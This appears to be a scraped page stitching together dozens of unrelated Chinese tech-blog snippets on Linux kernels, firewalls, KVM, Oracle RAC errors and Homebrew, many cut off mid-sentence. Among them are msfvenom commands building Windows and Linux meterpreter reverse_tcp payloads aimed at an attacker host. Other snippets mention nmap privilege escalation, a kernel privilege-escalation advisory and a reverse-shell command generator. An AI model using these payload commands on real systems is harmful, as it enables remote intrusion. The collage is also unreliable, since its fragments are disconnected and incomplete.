The libseccomp library provides an easy to use, platform independent, interface to the Linux Kernel's syscall filtering mechanism. The libseccomp API is designed to abstract away the underlying BPF based syscall filter language and present a more conventional function-call based filtering interface that should be familiar to, and easily adopted by, application developers.
原子操作 通常我们代码中的a = a + 1这样的一行语句,翻译成汇编后蕴含着3条指令: ldr x0, &a add x0,x0,#1 str x0,&a 即 (1)从内存中读取a变量到X0寄存器 (2)X0寄存器加1 (3)将X0写入到内存a中 既然是3条指令,那么就有可能并发,也就意味着返回的结果可能不是预期的。 然后在linux kernel的操作系统中,提供访问原子变量的函数,用来解决上述问题。其中部分原子操作的API如下: atomic_read atomic_add_return(i,v) a
提起存储都是血泪史,不知道丢了多少数据,脑子首先想到的就是《你说啥》洗脑神曲,我就像那个大妈一样,千万个问号?????????????.........
http://tornado-zh.readthedocs.io/zh/latest/guide/security.html
我们在做 Rust 开发编译的时候,常常能在依赖列表中,看到 libc 这个 crate 的身影。我们一般不会直接依赖这个 crate,但是依赖的依赖(的依赖的依赖……)可能就会用到这个 crate。总的来说,它是 Rust 生态中非常基础非常底层的一个 crate 了。
前几天我在代码审计知识星球里发表了一个介绍nmap利用interactive模式提权的帖子:
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。
原创文章,转载请务必将下面这段话置于文章开头处。 本文转发自:字母哥博客,原文链接 http://www.zimug.com/463.html
在最近新入职同事的推荐下,作者在一个小工具中学习和使用了spdlog,且已发布到线上运行,以下是学习记录。
Linux系统重启或无故变为只读造成网站无法正常访问的简单临时的做 根目录只读不能写处理: 一、 1、mount: 用于查看哪个模块输入只读,一般显示为: /dev/hda1 on / type ext3 (rw) none on /proc type proc (rw) usbdevfs on /proc/bus/usb type usbdevfs (rw) none on /dev/pts type devpts (rw,gid=5,mode=620) /dev/hda5 on /home type ext3 (rw) none on /dev/shm type tmpfs (rw) /dev/hda2 on /usr/local type ext3 (rw) /dev/nb1 on /EarthView/RAW type ext3 (ro)(变为只读了)
Linux防火墙—netfilter netfilter的5个表 filter表用于过滤包,最常用的表,有INPUT、FORWARD、OUTPUT三个链 nat表用于网络地址转换,有PREROUTING、POSTROUTING三个链 managle表用于给数据包做标记,几乎用不到 raw表可以实现不追踪某些数据包 security表在centos6中并没有,用于强制访问控制(MAC)的网络规则 参考文章 netfilter的五个表 在centos中只有四个表,并没有security表 [root@hf-0
实际上这是配置对应的容器的 Capabilities,在我们使用 docker run 的时候可以通过 --cap-add 和 --cap-drop 命令来给容器添加 LinuxCapabilities。对于大部分同学可能又要疑问 LinuxCapabilities 是什么呢?
买了一个录音笔,效果比使用笔记本话筒录音好多了还省电。当然啦,我也曾试过使用手机录音,结果是,没能录多久就中断了(Android 就是这么不靠谱)。
先用nmap扫一下发现开了DNS、IIS、Kerberos、RPC、netbios、Active Directory等服务
裸设备,是没有经过格式化的分区或磁盘,也叫裸分区(原始分区),不被Unix通过文件系统来读取的特殊字符设备。它由应用程序负责对 它进行读写操作。不经过文件系统的缓冲,是不被操作系统直接管理的设备。由于跨过操作系统管理,使得I/O效率更高。在基于SUSE Linux 10上安装Oracle 10g RAC的话,由于Oracle 10g 不支持将ocr与votingdisk 存放在ASM 磁盘中,因此,依然需要为其使用裸设备方式。SUSE Linux裸设备的配置与其他的Linux稍有差异,下面将具体描述。
socket大家都知道是用于网络通信的,也知道他是ip和端口的组合。但是很多同学可能不是很清楚socket的原理和实现。下面我们深入理解一下socket到底是什么。 我们回忆一下socket编程的步骤,不管是客户端还是服务端,第一个调的函数都是socket。我们就从这个函数的实现开始,看看一个socket到底是什么。
它的中文名叫“GitHub页翻译”,是 “一个简洁的社区驱动的帮助手册”,这是对它最好的解释。
kubernetes部署 (1)关闭防火墙 (2)关闭 selinux (3)关闭swap分区 (4)更改主机名 (5) 在 master中 添加 hosts:
如果在公有云上买了一台虚拟机,如何知道虚拟机运行在什么hypervisor上呢?如果买的是一台裸机如何确认公有云不是拿一台虚拟机滥竽充数裸机呢?一般公有云厂商为了安全不暴露底层,留给用户有限的api做一些非常简单的操作,为了一些功能还给镜像里预装了很多组件,完全不对称,用户在公有云厂商面前裸奔,公有云厂商在用户面前带着层层的面具。
brew services 命令是用来管理 Mac 系统中后台服务的,比如在 Mac 上安装了 MySQL ,当我希望将这个变成一个后台服务启动的时候,可以使用,有点像 Linux 下的 service 和 systemctl 两个命令。
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
近日,绿盟科技监测发现Linux kernel 存在一个权限提升漏洞(CVE-2020-14386),由于net/packet/af_packet.c在处理AF_PACKET时存在整数溢出,导致可进行越界写从而实现权限提升,攻击者可以利用此漏洞从非特权进程获得系统root权限。使用了Linux Kernel的openshift/docker/kubernetes等虚拟化产品可能会受到该漏洞影响,导致虚拟化逃逸,请相关用户采取措施进行防护。
在我们使用github中的一些文件需要下载时,尤其是使用脚本的时候,希望使用wget可以拿取github中的单个文件,gihub有这个功能,需要访问raw.githubusercontent.com,但是当使用时,会出现如下这样的问题
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
1. 虚拟机镜像挂载及w2k8虚拟机启动自检慢问题解决办法 2. KVM虚拟化与guestfish套件 3. guestfish安装与注意事项 4. 使用guestfish查看虚拟机信息 5. 使用guestfish查看虚拟机分区及文件系统 6. 去掉磁盘空洞--KVM虚拟镜像的稀疏问题 7. 用guestfish操作虚拟机内部文件 8. guestfish修改镜像格式和大小 9. guestfish挂载、修改、运行救援方式
CNS图表复现之旅前面我们已经进行了9讲,你可以点击图表复现话题回顾。如果你感兴趣也想加入交流群,自己去:你要的rmarkdown文献图表复现全套代码来了(单细胞)找到我们的拉群小助手哈。
最近在给客户基于Suse 11 sp3安装Oracle 10g RAC,在安装完clusterware执行/u01/app/crs/root.sh时收到错误提示,Failed to upgrade Oracle Cluster Registry configuration由于当前的环境使用了多路径,从Oracle的描述来看,这是一个Oracle Bug(4679769),如果你有相同的问题,请接着往下看。 一、故障现象 suse11a:/u01/app/crs # /u01/app/crs/root.sh WARNING: directory '/u01/app' is not owned by root Checking to see if Oracle CRS stack is already configured /etc/oracle does not exist. Creating it now. Setting the permissions on OCR backup directory Setting up NS directories Failed to upgrade Oracle Cluster Registry configuration #此处为错误提示 #下面使用clsfmt命令时提示Received unexpected error,注,/u01/app/crs 为ORA_CRS_HOME。 suse11a:/ # /u01/app/crs/bin/clsfmt ocr /dev/raw/raw1 clsfmt: Received unexpected error 4 from skgfifi skgfifi: Additional information: -2 Additional information: 1073741824 #下面是具体的错误日志 suse11a:/u01/app/crs/log/suse11a/client # pwd /u01/app/crs/log/suse11a/client suse11a:/u01/app/crs/log/suse11a/client # more ocrconfig_24066.log Oracle Database 10g CRS Release 10.2.0.1.0 Production Copyright 1996, 2005 Oracle. All rights reserved. 2014-08-11 11:52:14.993: [ OCRCONF][2176517888]ocrconfig starts... 2014-08-11 11:52:14.994: [ OCRCONF][2176517888]Upgrading OCR data 2014-08-11 11:52:15.100: [ OCRRAW][2176517888]propriogid:1: INVALID FORMAT 2014-08-11 11:52:15.101: [ OCRRAW][2176517888]ibctx:1:ERROR: INVALID FORMAT 2014-08-11 11:52:15.101: [ OCRRAW][2176517888]proprinit:problem reading the bootblock or superbloc 22 2014-08-11 11:52:15.102: [ default][2176517888]a_init:7!: Backend init unsuccessful : [22] 2014-08-11 11:52:15.102: [ OCRCONF][2176517888]Exporting OCR data to [OCRUPGRADEFILE] 2014-08-11 11:52:15.102: [ OCRAPI][2176517888]a_init:7!: Backend init unsuccessful : [33] 2014-08-11 11:52:15.102: [ OCRCONF][2176517888]There was no previous version of OCR. error:[PROC-33: Oracle Cluster Registry is not configured] 2014-08-11 11:52:15.108: [ OCRRAW][2176517888]propriogid:1: INVALID FORMAT 2014-08-11 11:52:15.108: [ OCRRAW][2176517888]ibctx:1:ERROR: INVALID FORMAT 2014-08-11 11:52:15.108:
实时分为硬实时和软实时,硬实时要求绝对保证响应时间不超过期限,如果超过期限,会造成灾难性的后果,例如汽车在发生碰撞事故时必须快速展开安全气囊;软实时只需尽力使响应时间不超过期限,如果偶尔超过期限,不会造成灾难性的后果.
Homebrew 对于使用 Mac 的开发者来说,是再熟悉不过的了,它可以在 macOS 中方便的安装和管理各种系统并不自带的开发包。在安装 homebrew 时,由于众所周知的原因,用官网的安装方法很慢且容易中断,想用国内的源进行安装。让人非常头疼,今天为各位推荐的就是在国内自动安装 Homebrew 的脚本。
定时任务,是在日常开发需求中总会遇到的,我们往往会有一些简单的脚本工作,希望能够每小时或每天执行一次。当这类需求变得多起来后,这些零散的任务脚本就会变得难以管理,尤其是它们可能由不同的脚本语言编写而成。这时,我们就需要一个集中化的定时任务管理平台,来进行统一管理。 ◆ 简介 QingLong(青龙),是 whyour 在 Github 上开源的定时任务管理面板,仓库位于 https://github.com/whyour/qinglong,目前版本为 v2.11.2。 QingLong提供了强大的定时任
更多iptable系列文参考(转载于):http://www.zsythink.net/archives/tag/iptables/
不知道homebrew的不要问我,因为我也不知道是什么鬼。应该和忍者影分身一种鬼东西。
防火墙: 工作在主机或者网络边缘,对于进出的数据报文按照事先定义好的规则进行检查,监控,一旦符合标准,我们就按照事先定义好的规则处理动作的一套机制组件叫做(网络)(主机)防火墙
有兴趣了解更多关于 eBPF 技术的底层细节?那么请继续移步,我们将深入研究 eBPF 的底层细节,从其虚拟机机制和工具,到在远程资源受限的嵌入式设备上运行跟踪。
我们已经多次强调了,之前推荐的清华大学镜像可能是人满为患,大家需要自己机智一点哦。
对于所有shellcode,请参阅“ msfvenom –h”以获取有关有效参数的信息。Msfvenom将输出能够以这种语言剪切和粘贴的代码,来供利用。
KVM 全称是 基于内核的虚拟机(Kernel-based Virtual Machine),它是一个 Linux 的一个内核模块,该内核模块使得 Linux 变成了一个 Hypervisor,KVM 是基于虚拟化扩展(Intel VT 或者 AMD-V)的 X86 硬件的开源的 Linux 原生的全虚拟化解决方案。KVM 中,虚拟机被实现为常规的 Linux 进程,由标准 Linux 调度程序进行调度;虚机的每个虚拟 CPU 被实现为一个常规的 Linux 进程。这使得 KMV 能够使用 Linux 内核的已有功能。但是,KVM 本身不执行任何硬件模拟,需要客户空间程序通过 /dev/kvm 接口设置一个客户机虚拟服务器的地址空间,向它提供模拟的 I/O,并将它的视频显示映射回宿主的显示屏。
※这类脚本是综合测试VPS基础信息、硬盘IO、带宽和网络延迟等项目的一键式脚本,主要有以下几个
我前面的文章提到,线上的服务用了c3p0数据库连接池,会偶发连接泄露问题,而分析到最后,又怀疑是db侧主动关闭连接,或者是服务所在机器和db之间有防火墙,防火墙主动关闭了连接。导致我们这边socket看着还健康,实际在对端已经失效了,然后我们在这个socket发消息过去,对方一直不回复,我方没设置超时时间,导致长时间阻塞在read方法上(等待对方响应)。
rac3节点上安装须要的rpm包,本实验环境使用的是OEL系统,所以使用oracle-validated。
其实是想学习一下ecapture是怎么实现的,但是实际在我xiaomi 10手机上测试的过程中(已经有root权限)发现,并没办法运行,因为ecapture需要内核开启CONFIG_DEBUG_INFO_BTF,这个配置信息可以通过/proc/config.gz中来查看是否开启。
MarkdownPicPicker 是一个Markdown写作辅助工具。它能将剪贴板中的图片上传到网络图床中,并将markdown格式的图片链接(![](<图片地址>))复制到剪贴板中。
Kernel-based Virtual Machine的简称,是一个开源的系统虚拟化模块,自Linux 2.6.20之后集成在Linux的各个主要发行版本中。它使用Linux自身的调度器进行管理,所以相对于Xen,其核心源码很少。KVM目前已成为学术界的主流VMM之一。
存储的配置总结下只有2步:持久化配置 和 权限配置 。一般来说这两步是可以合在一起的,只是使用多路径软件时需要分开来讲(多路径软件多了一个多路径聚合的步骤)。
在项目中,经常有可能用到以太网的原始数据,就是链路层输出,不经过TCPIP,UDP这类协议解析的数据。一般称呼这种为RAW数据。
rsGen是一款基于Widows BAT&JS混编实现的多功能反弹shell命令生成器。不仅支持生成原生反弹shell命令,还支持生成“命令中转”形式的一句话反弹shell命令,以及包含端口监听(调用powercat.ps1)等功能。
领取专属 10元无门槛券
手把手带您无忧上云